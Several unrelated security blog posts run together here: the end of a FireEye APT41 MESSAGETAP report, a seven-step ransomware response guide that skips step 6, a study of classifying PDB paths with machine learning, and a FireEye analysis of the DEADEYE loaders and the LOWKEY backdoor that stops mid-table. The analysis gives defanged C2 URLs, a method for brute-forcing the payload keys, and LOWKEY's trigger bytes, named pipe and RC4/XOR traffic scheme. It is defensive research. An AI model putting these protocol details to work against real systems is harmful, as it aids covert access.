targeted by APT41 actors. Further, four additional telecommunications
entities were targeted in 2019 by separate threat groups with
suspected Chinese state-sponsored associations. Beyond
telecommunication organizations, other client verticals that possess
sensitive records related to specific individuals of interest, such as
major travel services and healthcare providers, were also targeted by
APT41. This is reflective of an evolving Chinese targeting trend
focused on both upstream data and targeted surveillance. For deeper
analysis regarding recent Chinese cyber espionage targeting trends,
customers may refer to the FireEye Threat Intelligence Portal. This
topic was also briefed at FireEye Cyber Defense Summit 2019.
FireEye assesses this trend will continue in the future.
Accordingly, both users and organizations must consider the risk of
unencrypted data being intercepted several layers upstream in their
cellular communication chain. This is especially critical for highly
targeted individuals such as dissidents, journalists and officials
that handle highly sensitive information. Appropriate safeguards such
as utilizing a communication program that enforces end-to-end
encryption can mitigate a degree of this risk. Additionally, user
education must impart the risks of transmitting sensitive data over
SMS. More broadly, the threat to organizations that operate at
critical information junctures will only increase as the incentives
for determined nation-state actors to obtain data that directly
support key geopolitical interests remains.
FireEye Detections
FE_APT_Controller_SH_MESSAGETAP_1
FE_APT_Trojan_Linux64_MESSAGETAP_1
FE_APT_Trojan_Linux_MESSAGETAP_1
FE_APT_Trojan_Linux_MESSAGETAP_2
FE_APT_Trojan_Linux_MESSAGETAP_3
Example File
File name: mtlserver
MD5 hash: 8D3B3D5B68A1D08485773D70C186D877
*This sample was identified by FireEye
on VirusTotal and provides an example for readers to reference. The
file is a less robust version than instances of MESSAGETAP identified
in intrusions and may represent an earlier test of the malware. The
file and any of its embedded data were not observed in any Mandiant
Consulting engagement*
Thank you to Adrian Pisarczyk, Matias Bevilacqua and Marcin Siedlarz
for identification and analysis of MESSAGETAP at a FireEye Mandiant
Consulting engagement.
So, your computer screen has been hijacked by ransomware and the criminals behind the attack are demanding money to return your systems. Now what?
That’s a question countless organisations are asking themselves nowadays, with more than 100 ransomware attacks reported so far in 2019.
If you think that doesn’t sound so bad, the true scale of the issue is much bigger than this. The majority of organisations that are struck by ransomware don’t report the issue.
This might be because they think it will make them look as if they weren’t adequately prepared to protect themselves from ransomware.
Alternatively, they might fear that announcing an attack will lead to other criminals launching similar attacks against them.
What is ransomware?
Ransomware is a specific type of malware that encrypts the files on a computer, essentially locking the owner out of their systems.
Once this has happened, the ransomware will display a message demanding that the victim make a ransom payment to regain access to their files.
Criminals generally plant the malware on victim’s computers by hiding it in an attachment contained within a phishing email.
Many ransomware victims feel obliged to pay up, because it’s the quickest and least expensive way to get back to business as usual.
However, experts generally urge organisations not to negotiate, because ransom payments help fuel the cyber crime industry.
But what’s the alternative? Take a look at our seven-step guide to find out.
1) Prepare for attack: back up your data
The only way to avoid paying ransoms and avoid catastrophic delays is to make sure you have a second, uninfected copy of your sensitive information.
That way, when crooks encrypt your systems, there’s no need to worry. Let them keep the decryptor. You can just wipe those files and upload clean duplicates.
Because you are continuously creating new files and amending old ones, backups should be performed regularly.
You don’t need to do everything in one go; instead, look at each folder and determine how often substantial changes are made.
The more frequently things are added or amended, the more often you should back them up.
Once you’ve determined that, you should set up a backup schedule, saving your work on an isolated local device or in the Cloud.
2) Be sure that it’s ransomware
Don’t assume that the person who has spotted the attack knows that it’s ransomware.
The attack method is more well-known than ever – thanks in part to WannaCry – but many people wouldn’t be able to identify the attack.
This means you could be wasting valuable time identifying the problem.
You can avoid this by teaching staff about ransomware and establishing a line of communication in the event of security incidents.
That way, the employee who first discovered the malware can immediately contact someone who can identify what the threat is and initiate response measures.
3) Disconnect infected devices from the network
Now that you’re sure that you’ve been hit by ransomware, you should isolate the infection by taking affected devices offline.
This will stop the ransomware spreading, giving you partial functionality and time to implement the next steps.
4) Notify your employees
Employees will quickly notice that something is amiss.
Even if their computers haven’t been infected, they’ll see that others have and that certain systems are unavailable.
Whether or not they are aware that the disruption has been caused by ransomware, staff are liable to worry.
Is it just their team that’s affected? How are they supposed to do work? Are their bosses aware of the problem?
That’s why you should explain the situation to your employees as soon as possible.
Many ransomware victims use pen and paper instead of computers where possible. If that’s possible in this situation, you should help out as much as you can.
For example, you should provide them with said pens and paper, direct them to hard copies of information they might need and bring in colleagues who can’t work to help out.
5) Photograph the ransom note
You can use this as evidence of the attack when submitting a police report.
This might seem futile – the police will almost certainly be unable to recover your data, let alone catch the crooks – but evidence of the attack is necessary for filing a cyber insurance claim.
If you don’t already have cyber insurance, it’s worth considering.
Damages associated with information security incidents generally aren’t mentioned in commercial insurance policies, meaning most providers won’t pay out if you make a claim based on, say, a business interruption.
The ransom note might explicitly state what strain it is, but if it doesn’t, there are other clues that can help you identify it.
Try uploading the encryption file type, the way the ransom demand is phrased and the URLs within it to a website such as ID Ransomware, which can help you determine the strain you’ve been attacked with.
7) Remove the ransomware from your device
If the ransomware behind your attack has been cracked, you can use an online decryptor to remove the infection.
Similarly, if you’ve been attacked with a fake, you can simply delete the malicious file.
But what if it’s the real thing? Fortunately, that’s not much more complicated.
The safest way to remove ransomware is to restore your infected devices to factory settings.
You can do this on Windows devices by going to the update and security menu within your settings, or by holding F8 as your computer turns on until the recovery screen appears.
If the ransomware stops you from reaching recovery screens, you can use the installation disk or USB sticks on which your operating system is stored.
Be warned that this process will remove all data stored on the device, which is why it’s important to have backups.
Once your computer has been restored, you can transfer the duplicate files back onto your device.
Depending on how much data you have, this could take anywhere from a few hours to a few days – so you’re not completely out of the woods.
However, this process won’t take much longer than getting the decryptor from the fraudster and regaining access to your files.
What should you do if you’re under attack?
When your defences fail and your organisation is compromised, every second counts.
You must respond quickly and follow a systematic, structured approach to the recovery process.
That is, of course, easier said than done, particularly if you don’t have a cyber security expert onboard.
Fortunately, IT Governance is here to help.
With our cyber security incident response service, expert consultants will guide you through the recovery process, from identifying the source of the breach and how to stem the damage to notifying the appropriate people and returning to business as usual.
A version of this blog was originally published on 11 June 2019.
In Part
One of this blog series, Steve Miller outlined what PDB paths
are, how they appear in malware, how we use them to detect malicious
files, and how we sometimes use them to make associations about groups
and actors.
As Steve continued his research into PDB paths, we became interested
in applying more general statistical analysis. The PDB path as an
artifact poses an intriguing use case for a couple of reasons.
First, the PDB artifact is not directly tied to the functionality
of the binary. As a byproduct of the compilation process, it contains
information about the development environment, and by proxy, the
malware author themselves. Rarely do we encounter static malware
features with such an interesting tie to the human behind the
keyboard, rather than the functionality of the file.
Second, file paths are an incredibly complex artifact with many
different possible encodings. We had personally been dying to find an
excuse to spend more time figuring out how to parse and encode paths
in a more useful way. This presented an opportunity to dive into this
space and test different approaches to representing file paths in
various models.
The objectives of our project were:
Build a large data set of PDB paths and apply some statistical
methods to find potentially new signature terms and logic.
Investigate whether applying machine learning classification
approaches to this problem could improve our detection above writing
hand-crafted signatures.
Build a PDB classifier as a weak
signal for binary analysis.
To start, we began gathering data. Our dataset, pulled from internal
and external sources, started with over 200,000 samples. Once we
deduplicated by PDB path, we had around 50,000 samples. Next, we
needed to consistently label these samples, so we considered various
labeling schemes.
Labeling Binaries With PDB Paths
For many of the binaries we had internal FireEye labels, and for
others we looked up hashes on VirusTotal (VT) to have a look at their
detection rates. This covered the majority of our samples. For a
relatively small subset we had disagreements between our internal
engine and VT results, which merited a slightly more nuanced policy.
The disagreement was most often that our internal assessment
determined a file to be benign, but the VT results showed a nonzero
percentage of vendors detecting the file as malicious. In these cases
we plotted the ‘VT ratio”: that is, the percentage of vendors labeling
the files as malicious (Figure 1).
Figure 1: Ratio of vendors calling file
bad/total number of vendors
The vast majority of these samples had VT detection ratios below
0.3, and in those cases we labeled the binaries as benign. For the
remainder of samples we tried two strategies – marking them all as
malicious, or removing them from the training set entirely. Our
classification performance did not change much between these two
policies, so in the end we scrapped the remainder of the samples to
reduce label noise.
Building Features
Next, we had to start building features. This is where the fun
began. Looking at dozens and dozens of PDB paths, we simply started
recording various things that ‘pop out’ to an analyst. As noted
earlier, a file path contains tons of implicit information, beyond
simply being a string-based artifact. Some analogies we have found
useful is that a file path is more akin to a geographical location in
its representation of a location on the file system, or like a
sentence in that it reflects a series of dependent items.
To further illustrate this point, consider a simple file path such as:
Contains development terms such as
‘BUILD’ and ‘release’
With a sensible, semi-memorable file
name
These differences seem relatively straightforward and make intuitive
sense as to why one might be representative of malware development
whereas the other represents a more “legitimate-looking” development environment.
Feature Representations
How do we represent these differences to a model? The easiest and
most obvious option is to calculate some statistics on each path.
Features such as folder depth, path length, entropy, and counting
things such as numbers, letters, and special characters in the PDB
filename are easy to compute.
However, upon evaluation against our dataset, these features did not
help to separate the classes very well. The following are some
graphics detailing the distributions of these features between our
classes of malicious and benign samples:
While there is potentially some separation between benign and
malicious distributions, these features alone would likely not lead to
an effective classifier (we tried). Additionally, we couldn’t easily
translate these differences into explicit detection rules. There was
more information in the paths that we needed to extract, so we began
to look at how to encode the directory names themselves.
Normalization
As with any dataset, we had to undertake some steps to normalize the
paths. For example, the occurrence of individual usernames, while
perhaps interesting from an intelligence perspective, would be
represented as distinct entities when in fact they have the same
semantic meaning. Thus, we had to detect and replace usernames
with <username> to normalize this representation. Other folder
idiosyncrasies such as version numbers or randomly generated
directories could similarly be normalized into <version> or <random>.
A typical normalized path might therefore go from this:
C:\Users\jsmith\Documents\Visual Studio 2013\Projects\mkzyu91952\mkzyu91952\obj\x86\Debug\mkzyu91952.pdb
To this:
c:\users\<username>\documents\visual studio 2013\projects\<random>\<random>\obj\x86\debug\mkzyu91952.pdb
You may notice that the PDB filename itself was not normalized. In
this case we wanted to derive features from the filename itself, so we
left it. Other approaches could be to normalize it, or even to make
note that the same filename string ‘mkzyu91952’ appears earlier in the
path. There are endless possible features when dealing with file paths.
Directory Analysis
Once we had normalized directories, we could start to “tokenize”
each directory term, to start performing some statistical
analysis. Our main goal of this analysis was to see if there were any
directory terms that highly corresponded to maliciousness, or see if
there were any simple combinations, such as pairs or triplets, that
exhibited similar behavior.
We did not find any single directory name that easily separated the
classes. That would be too easy. However, we did find some general
correlations with directories such as “Desktop” being somewhat more
likely to be malicious, and use of shared drives such as Z: to be more
indicative of a benign file. This makes intuitive sense given the more
collaborative environment a “legitimate” software development process
might require. There are, of course, many exceptions and this is what
makes the problem tricky.
Another strong signal we found, at least in our dataset, is that
when the word “Desktop” was in a non-English language and particularly
in a different alphabet, the likelihood of that PDB path being tied to
a malicious file was very high (Figure 2). While potentially useful,
this can be indicative of geographical bias in our dataset, and
further research would need to be done to see if this type of
signature would generalize.
Figure 2: Unicode desktop folders from
malicious samples
Various Tokenizing Schemes
In recording the directories of a file path, there are several ways
you can represent the path. Let’s use this path to illustrate these
different approaches:
One very simple way is the “bag-of-words”
approach, which simply treats the path as the distinct set of
directory names it contains. Therefore, the aforementioned path would
be represented as:
[‘c:’,’leave’,’smell’,’long’,’rulethis’]
Positional Analysis
Another approach we considered was recording the position of each
directory name, as a distance from the drive. This retained more
information about depth, such that a ‘build’ directory on the desktop
would be treated differently than a ‘build’ directory nine directories
further down. For this purpose, we excluded the drives since they
would always have the same depth.
[’leave_1’,’smell_2’,’long_3’,’rulethis_4’]
N-Gram Analysis
Finally, we explored breaking paths into n-grams; that is, as a
distinct set of n- adjacent directories. For example, a 2-gram
representation of this path might look like:
We tested each of these approaches and while positional analysis and
n-grams contained more information, in the end, bag-of-words
seemed to generalize best. Additionally, using the bag-of-words
approach made it easier to extract simple signature logic from the
resultant models, as will be shown in a later section.
Term Co-Occurrence
Since we had the bag-of-words vectors created for each path, we were
also able to evaluate term co-occurrence across benign and malicious
files. When we evaluated the co-occurrence of pairs of terms, we found
some other interesting pairings that indeed paint two very different
pictures of development environments (Figure 3).
Correlated with Malicious Files
Correlated with Benign Files
users, desktop
src, retail
documents, visual studio 2012
obj, x64
local, temporary projects
src, x86
users, projects
src, win32
users, documents
retail, dynamic
appdata, temporary projects
src, amd64
users, x86
src, x64
Figure 3: Correlated pairs with malicious and
benign files
Keyword Lists
Our bag-of-words representation of the PDB paths then gave us a
distinct set of nearly 70,000 distinct terms. The vast majority of
these terms occurred once or twice in the entire dataset, resulting in
what is known as a ‘long-tailed’ distribution. Figure 4 is a graph of
only the top 100 most common terms in descending order.
Figure 4: Long tailed distribution of
term occurrence
As you can see, the counts drop off quickly, and you are left
dealing with an enormous amount of terms that may only appear a
handful of times. One very simple way to solve this problem, without
losing a ton of information, is to simply cut off a keyword list after
a certain number of entries. For example, take the top 50 occurring
folder names (across both good and bad files), and save them as a
keyword list. Then match this list against every path in the dataset.
To create features, one-hot
encode each match.
Rather than arbitrarily setting a cutoff, we wanted to know a bit
more about the distribution and understand where might be a good place
to set a limit – such that we would cover enough of the samples
without drastically increasing the number of features for our model.
We therefore calculated the cumulative number of samples covered by
each term, as we iterated down the list from most common to least
common. Figure 5 is a graph showing the result.
Figure 5: Cumulative share of samples
covered by distinct terms
As you can see, with only a small fraction of the terms, we can
arrive at a significant percentage of the cumulative total PDB paths.
Setting a simple cutoff at about 70% of the dataset resulted in
roughly 230 terms for our total vocabulary. This gave us enough
information about the dataset without blowing up our model with too
many features (and therefore, dimensions). One-hot encoding the
presence of these terms was then the final step in featurizing the
directory names present in the paths.
YARA Signatures Do Grow on Trees
Armed with some statistical features, as well as one-hot encoded
keyword matches, we began to train some models on our now-featurized
dataset. In doing so, we hoped to use the model training and
evaluation process to give us insights into how to build better
signatures. If we developed an effective classification model, that
would be an added benefit.
We felt that tree-based models made sense for this use case for two
reasons. First, tree-based models have worked well in the past in
domains requiring a certain amount of interpretability and using a
blend of quantitative and categorical features. Second, the features
we used are largely things we could represent in a YARA signature.
Therefore, if our models built boolean logic branches that separated
large numbers of PDB files, we could potentially translate these into
signatures. This is not to say that other model families could not be
used to build strong classifiers. Many other options ranging from Logistic
Regression to Deep Learning
could be considered.
We fed our featurized training set into a Decision
Tree, having set a couple ‘hyperparameters’ such as max depth and
minimum samples per leaf, etc. We were also able to use a sliding
scale of these hyperparameters to dynamically create trees and,
essentially, see what shook out. Examining a trained decision tree
such as the one in Figure 6 allowed us to immediately build new signatures.
Figure 6: Example decision tree and
decision paths
We found several other interesting tidbits within our decision
trees. Some terms that resulted in completely or almost-completely
malicious subgroups are:
Directory Term
Example Hashes
\poe\
a6b2aa2b489fb481c3cd9eab2f4f4f5c
92904dc99938352525492cd5133b9917
444be936b44cc6bd0cd5d0c88268fa77
\xampp\
4d093061c172b32bf8bef03ac44515ae
4e6c2d60873f644ef5e06a17d85ec777
52d2a08223d0b5cc300f067219021c90
\temporary projects\
a785bd1eb2a8495a93a2f348c9a8ca67
c43c79812d49ca0f3b4da5aca3745090
e540076f48d7069bacb6d607f2d389d9
\stub\
5ea538dfc64e28ad8c4063573a46800c
adf27ce5e67d770321daf90be6f4d895
c6e23da146a6fa2956c3dd7a9314fc97
We also found the term ‘WindowsApplication1’ to be quite useful. 89%
of the files in our dataset containing this directory were malicious.
Cursory research indicates that this is the default directory
generated when using Visual Studio to compile a Windows binary. Once
again, this makes some intuitive sense for finding malware authors.
Training and evaluating decision trees with various parameters turned
out to be a hugely productive exercise in discovering potential new
signature terms and logic.
Classification Accuracy and Findings
Since we now had a large dataset of PDB paths and features, we
wanted to see if we could train a traditional classifier to separate
good files from bad. Using a Random Forest
with some tuning, we were able to achieve an average accuracy of 87%
over 10 cross validations. However, while our recall (the percentage
of bad things we could identify with the model) was relatively high at
89%, our malware precision (the share of those things we called bad
that were actually bad) was far too low, hovering at or below 50%.
This indicates that using this model alone for malware detection would
result in an unacceptably large number of false positives, were we to
deploy it in the wild as a singular detection platform. However, used
in conjunction with other tools, this could be a useful weak signal to
assist with analysis.
Conclusion and Next Steps
While our journey of statistical PDB analysis did not yield a magic
malware classifier, it did yield a number of useful findings that we
were hoping for:
We developed several file path feature functions which are
transferable to other models under development.
By diving
into statistical analysis of the dataset, we were able to identify
new keywords and logic branches to include in YARA signatures. These
signatures have since been deployed and discovered new malware
samples.
We answered a number of our own general research
questions about PDB paths, and were able to dispel some theories we
had not fully tested with data.
While building an independent classifier was not the primary goal,
improvements can surely be made to improve the end model accuracy.
Generating an even larger, more diverse dataset would likely make the
biggest impact on our accuracy, recall, and precision. Further
hyperparameter tuning and feature engineering could also help. There
is a large amount of established research into text classification
using various deep learning methods such as LSTMs,
which could be applied effectively to a larger dataset.
PDB paths are only one small family of file paths that we encounter
in the field of cyber security. Whether in initial infection, staging,
or another part of the attack lifecycle, the file paths found during
forensic analysis can reveal incredibly useful information about
adversary activity. We look forward to further community research on
how to properly extract and represent that information.
In August 2019, FireEye released the “Double
Dragon” report on our newest graduated threat group: APT41. A
China-nexus dual espionage and financially-focused group, APT41
targets industries such as gaming, healthcare, high-tech, higher
education, telecommunications, and travel services.
This blog post is about the sophisticated passive backdoor we track
as LOWKEY, mentioned in the APT41 report and recently unveiled at the
FireEye Cyber Defense
Summit. We observed LOWKEY being used in highly targeted attacks,
utilizing payloads that run only on specific systems. Additional
malware family names are used in the blog post and briefly described.
For a complete overview of malware used by APT41 please refer to the
Technical Annex section of our APT41 report.
The blog post is split into three parts, which are shown in Figure
1. The first describes how we managed to analyze the encrypted
payloads. The second part features position independent loaders we
observed in multiple samples, adding an additional layer of
obfuscation. The final part is about the actual backdoor we call
LOWKEY, which comes in two variants, a passive TCP listener and a
passive HTTP listener targeting Internet Information Services (IIS).
Figure 1: Blog post overview
DEADEYE – RC5
Tracking APT41 activities over the past months, we observed multiple
samples that shared two unique features: the use of RC5 encryption
which we don’t encounter often, and a unique string “f@Ukd!rCto R$.”.
We track these samples as DEADEYE.
DEADEYE comes in
multiple variants:
DEADEYE.DOWN has the capability to download additional
payloads.
DEADEYE.APPEND has additional payloads appended to
it.
DEADEYE.EXT loads payloads that are already present on
the system.
DEADEYE.DOWN
A sample belonging to DEADEYE.DOWN (MD5:
5322816c2567198ad3dfc53d99567d6e) attempts to download two
files on the first execution of the malware.
The first file is downloaded from
hxxp://checkin.travelsanignacio[.]com/static/20170730.jpg. The command
and control (C2) server response is first RC5 decrypted with the
key “wsprintfA” and then RC5 encrypted with a different key and
written to disk as <MODULE_NAME>.mui.
The RC5 key is constructed using the volume serial number of the C
drive. The volume serial number is a 4-byte value, usually based on
the install time of the system. The volume serial number is XORed with
the hard-coded constant “f@Ukd!rCto R$.” and then converted to hex to
derive a key of up to 28 bytes in length. The key length can vary if
the XORed value contains an embedded zero byte because the lstrlenA
API call is used to determine the length of it. Note that the lstrlenA
API call happens before the result is converted to hex. If the index
of the byte modulo 4 is zero, the hex conversion is in uppercase. The
key derivation is illustrated in Table 1.
Volume Serial number of C drive,
for example 0xAABBCCDD
F ^ 0xAA
= 0xCC
uppercase
@ ^ 0xBB
= 0xFB
lowercase
U ^ 0xCC
= 0x99
lowercase
k ^ 0xDD
= 0xB6
lowercase
d ^ 0xAA
= 0xCE
uppercase
! ^ 0xBB
= 0x9A
lowercase
r ^ 0xCC
= 0xBE
lowercase
C ^ 0xDD
= 0x9E
lowercase
t ^ 0xAA
= 0xDE
uppercase
o ^ 0xBB
= 0xD4
lowercase
(0x20) ^ 0xCC
= 0xEC
lowercase
R ^ 0xDD
= 0x8F
lowercase
$ ^ 0xAA
= 0x8E
uppercase
. ^ 0xBB
= 0x95
lowercase
Derived key
CCfb99b6CE9abe9eDEd4ec8f8E95
Table 1: Key derivation example
The second file is downloaded
from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2
response is RC5 decrypted with the key “wsprintfA” and then XORed
with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.
The sample then determines its own module name, appends the
extension mui to it and attempts to decrypt the file using RC5
encryption. This effectively decrypts the file the malware just
downloaded and stored encrypted on the system previously. As the file
has been encrypted with a key based on the volume serial number it can
only be executed on the system it was downloaded on or a system that
has the same volume serial number, which would be a remarkable coincidence.
An example mui file is the MD5 hash
e58d4072c56a5dd3cc5cf768b8f37e5e. Looking at the encrypted file
in a hex editor reveals a high entropy (7.999779/8). RC5 uses
Electronic Code Book (ECB) mode by default. ECB means that each code
block (64 bit) is encrypted independent from other code blocks. This
means the same plaintext block always results in the same cipher text,
independent from its position in the binary. The file has 792933 bytes
in total but almost no duplicate cipher blocks, which means the data
likely has an additional layer of encryption.
Without the correct volume serial number nor any knowledge about the
plaintext there is no efficient way to decrypt the payload
e58d4072c56a5dd3cc5cf768b8f37e5e with just the knowledge of the
current sample.
DEADEYE.APPEND
Fortunately searching for the unique string “f@Ukd!rCto R$.“ in
combination with artifacts from RC5 reveals additional samples. One of
the related samples is DEADEYE.APPEND (MD5:
37e100dd8b2ad8b301b130c2bca3f1ea), which has been previously
analyzed by Kaspersky
(https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/).
This sample is different because it is protected with VMProtect and
has the obfuscated binary appended to it. The embedded binary starts
at offset 3287552 which can be seen in Figure 3 with the differing
File Size and PE Size.
Figure 3: A look at the PE header reveals
a larger file size than PE size
The encrypted payload has a slightly lower entropy of 7.990713 out
of 8. Looking at the embedded binary in a hex editor reveals multiple
occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in
Figure 4. As this pattern occurs multiple times in a row in the middle
of the encrypted data and ECB mode is being used, an educated guess is
that the plaintext is supposed to be 00 00 00 00 00 00 00 00.
Figure 4: Repeating byte pattern in 37e100dd8b2ad8b301b130c2bca3f1ea
RC5 Brute Forcer
With this knowledge we decided to take a
reference implementation of RC5 and add a main function that
accounts for the key derivation algorithm used by the malware samples
(see Figure 5). Brute forcing is possible as the key is derived from a
single DWORD; even though the final key length might be 28 bytes,
there are only 4294967296 possible keys. The code shown in Figure 5
generates all possible volume serial numbers, derives the key from
them and tries to decrypt 51 36 94 A4 26 5B 0F 19 to 00 00 00 00 00 00
00 00. Running the RC5 brute forcer for a couple of minutes shows the
correct volume serial number for the sample, which is 0xc25cff4c.
Note if you want to run the brute forcer yourself The
number of DWORDs of the key in the reference implementation we used is
represented by the global c, and we had to change it to 7 to match the
malware’s key length of 28 bytes. There were some issues with the
conversion because in the malware a zero byte within the generated key
ultimately leads to a shorter key length. The implementation we used
uses a hard-coded key length (c), so we generated multiple executables
with c = 6, c = 5, c = 4… as these usually only ran for a couple of
minutes to cover the entire key space. All the samples mentioned in
the Appendix 1 could be solved with c = 7 or c = 6.
Figure 5: Main function RC5 brute forcer
The decrypted payload belongs to the malware family POISONPLUG (MD5:
84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly
obfuscated modular backdoor with plug-in capabilities. The malware is
capable of registry or service persistence, self-removal, plug-in
execution, and network connection forwarding. POISONPLUG has been
observed using social platforms to host encoded command and control commands.
We confirmed the findings from Kaspersky and additionally found a
second command and control URL
hxxps://steamcommunity[.]com/id/oswal053, as mentioned in our APT 41 report.
Taking everything into account that we learned from DEADEYE.APPEND
(MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), we decided to take
another look at the encrypted mui file
(e58d4072c56a5dd3cc5cf768b8f37e5e). Attempts to brute force the
first bytes to match with the ones of the decrypted POISONPLUG payload
did not yield any results.
Fortunately, we found additional samples that use the same
encryption scheme. In one of the samples the malware authors included
two checks to validate the decrypted payload. The expected plaintext
at the specified offsets for DEADEYE.APPEND (MD5:
7f05d410dc0d1b0e7a3fcc6cdda7a2ff) is shown in Table 2.
Offset
Expected byte after decryption
0
0x48
1
0x8B
0x3C0
0x48
0x3C1
0x83
Table 2: Byte comparisons after decrypting in
DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)
Applying these constraints to our brute forcer and trying to decrypt
mui file (e58d4072c56a5dd3cc5cf768b8f37e5e) once moreresulted in a low number of successful hits which we could then
manually check. The correct volume serial number for the encrypted mui
is 0x243e2562. Analysis determined the decrypted file is XMRig miner.
This also explains why the dropper downloads two files. The first,
<MODULE_NAME>.mui is the crypto miner, and the second
C:\Windows\System32\wcnapi.mui, is the configuration. The decrypted
mui contains another layer of obfuscation and is eventually executed
with the command x -c wcnapi.mui. An explanation on how the command
was obtained and the additional layer of obfuscation is given in the
next part of the blog post.
For a list of samples with the corresponding volume serial numbers,
please refer to Appendix 1.
Additional RC4 Layer
An additional RC4 layer has been identified in droppers used by
APT41, which we internally track as DEADEYE. The layer has been
previously detailed in a blog
post by ESET. We wanted to provide some additional information
on this, as it was used in some of the samples we managed to brute force.
The additional layer is position independent shellcode containing a
reflective DLL loader. The loader decrypts an RC4 encrypted payload
and loads it in memory. The code itself is a straight forward loader
with the exception of some interesting artifacts identified during analysis.
As mentioned in the blog post by ESET, the encrypted payload is
prepended with a header. It contains the RC4 encryption key and two
fields of variable length, which have previously been identified as
file names. These two fields are encrypted with the same RC4
encryption key that is also used to decrypt the payload. The header is
shown in Table 3.
Header bytes
Meaning
0 – 15
RC4 key XOR encoded with 0x37
16 – 19
Size of loader stub before the
header
20 – 23
RC4 key size
24 – 27
Command ASCII size (CAS)
28 – 31
Command UNICODE size (CUS)
32 – 35
Size of encrypted payload
36 – 39
Launch type
40 – (40 + CAS)
Command ASCII
(40 + CAS) – (40 + CAS +
CUS)
Command
UNICODE
(40 + CAS + CUS) – (40 +
CAS + CUS + size of encrypted payload)
Encrypted payload
Table 3: RC4 header overview
Looking at the payloads hidden behind the RC5 layer, we observed,
that these fields are not limited to file names, instead they can also
contain commands used by the reflective loader. If no command is
specified, the default parameter is the file name of the loaded
payload. In some instances, this revealed the full file path and file
name in the development environment. Table 4 shows some paths and file
names. This is also how we found the command (x -c wcnapi.mui) used to
launch the decrypted mui file from the first part of the blog post.
The final part of the blog post describes the capabilities of the
passive backdoor LOWKEY (MD5: 8aab5e2834feb68bb645e0bad4fa10bd)
decrypted from DEADEYE.APPEND (MD5:
7f05d410dc0d1b0e7a3fcc6cdda7a2ff). LOWKEY is a passive backdoor
that supports commands for a reverse shell, uploading and downloading
files, listing and killing processes and file management. We have
identified two variants of the LOWKEY backdoor.
The first is a TCP variant that listens on port 53, and the second
is an HTTP variant that listens on TCP port 80. The HTTP variant
intercepts URL requests matching the UrlPrefix
http://+:80/requested.html. The + in the given UrlPrefix means that it
will match any host name. It has been briefly mentioned by
Kaspersky as “unknown backdoor”.
Both variants are loaded by the reflective loader described in the
previous part of the blog post. This means we were able to extract the
original file names. They contain meaningful names and provide a first
hint on how the backdoor operates.
The interesting parts are shown in Figure 6. PortReuse describes the
general idea behind the backdoor, to operate on a well-known port. The
paths also contain version numbers 2.5 and v1.3-53. IIS_Share is used
for the HTTP variant and describes the targeted application,
DeviceIOContrl-Hook is used for the TCP variant.
Figure 6: Overview important parts of
executable path
Both LOWKEY variants are functionally identical with one exception.
The TCP variant relies on a second component, a user mode rootkit that
is capable of intercepting incoming TCP connections. The internal name
used by the developers for that component is E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe.
Figure 7: LOWKEY components
Inner-Loader.dll
Inner-Loader.dll is a watch guard for the LOWKEY backdoor. It
leverages the GetExtendedTcpTable API to retrieve all processes with
an open TCP connection. If a process is listening on TCP port 53 it
injects NetAgent.exe into the process. This is done in a loop with a
10 second delay. The loader exits the loop when NetAgent.exe has been
successfully injected. After the injection it will create a new thread
for the LOWKEY backdoor (SK3.x.exe).
The watch guard enters an endless loop that executes every 20
minutes and ensures that the NetAgent.exe and the LOWKEY backdoor are
still active. If this is not the case it will relaunch the backdoor or
reinject the NetAgent.exe.
NetAgent.exe
NetAgent.exe is a user mode rootkit that provides covert
communication with the LOWKEY backdoor component. It forwards incoming
packets, after receiving the byte sequence FF FF 01 00 00 01 00 00 00
00 00 00, to the named pipe \\.\pipe\Microsoft Ole Object
{30000-7100-12985-00001-00001}.
The component works by
hooking the NtDeviceIoControlFile API. It does that by allocating a
suspiciously large region of memory, which is used as a global hook
table. The table consists of 0x668A0 bytes and has read, write and
execute permissions set.
Each hook table entry consists of 3 pointers. The first points to
memory containing the original 11 bytes of each hooked function, the
second entry contains a pointer to the remaining original instructions
and the third pointer points to the function hook. The malware will
only hook one function in this manner and therefore allocates an
unnecessary large amount of memory. The malware was designed to hook
up to 10000 functions this way.
The hook function begins
by iterating the global hook table and compares the pointer to the
hook function to itself. This is done to find the original
instructions for the installed hook, in this
case NtDeviceIoControlFile. The malware then executes the saved
instructions which results in a regular NtDeviceIoControlFile API
call. Afterwards the IoControlCode is compared to 0x12017 (AFD_RECV).
If the IoControlCode does not match, the original API call results
are returned.
If they match the malware compares the first 12 bytes of the
incoming data. As it is effectively a TCP packet, it is parsing the
TCP header to get the data of the packet. The first 12 bytes of
the data section are compared against the hard-coded byte pattern: FF
FF 01 00 00 01 00 00 00 00 00 00.
If they match it expects to receive additional data, which seems to
be unused, and then responds with a 16 byte header 00 00 00 00 00 91
03 00 00 00 00 00 80 1F 00 00, which seems to be hard-coded and to
indicate that following packets will be forwarded to the named
pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}. The
backdoor component (SK3.x.exe) receives and sends data to the named
pipe. The hook function will forward all received data from the named
pipe back to the socket, effectively allowing a covert communication
between the named pipe and the socket.
SK3.x.exe
SK3.x.exe is the actual backdoor component. It supports writing and
reading files, modification of file properties, an interactive command
shell, TCP relay functionality and listing running processes. The
backdoor opens a named pipe \\.\pipe\Microsoft Ole Object
{30000-7100-12985-00001-00001} for communication.
Data received by the backdoor is encrypted with RC4 using the
key “CreateThread“ and then XORed with 0x77. All data sent by the
backdoor uses the same encryption in reverse order (first XOR with
0x77, then RC4 encrypted with the key “CreateThread“). Encrypted data
is preceded by a 16-byte header which is unencrypted containing an
identifier and the size of the following encrypted packet.
An example header looks as follows: 00 00 00 00 00 FD 00 00 10
00 00 00 00 00 00 00
Bytes
Meaning
00 00 00 00 00
unknown
FD 00
Bytes 5 and 6 are the command identifier, for
a list of all supported identifiers check Table 6 and Table
7.
00
unknown
10 00 00 00
Size of the encrypted packet that is
send after the header
00 00 00 00
unknown
Table 5: Subcomponents of header
The backdoor supports the commands listed in tables Table 6 and
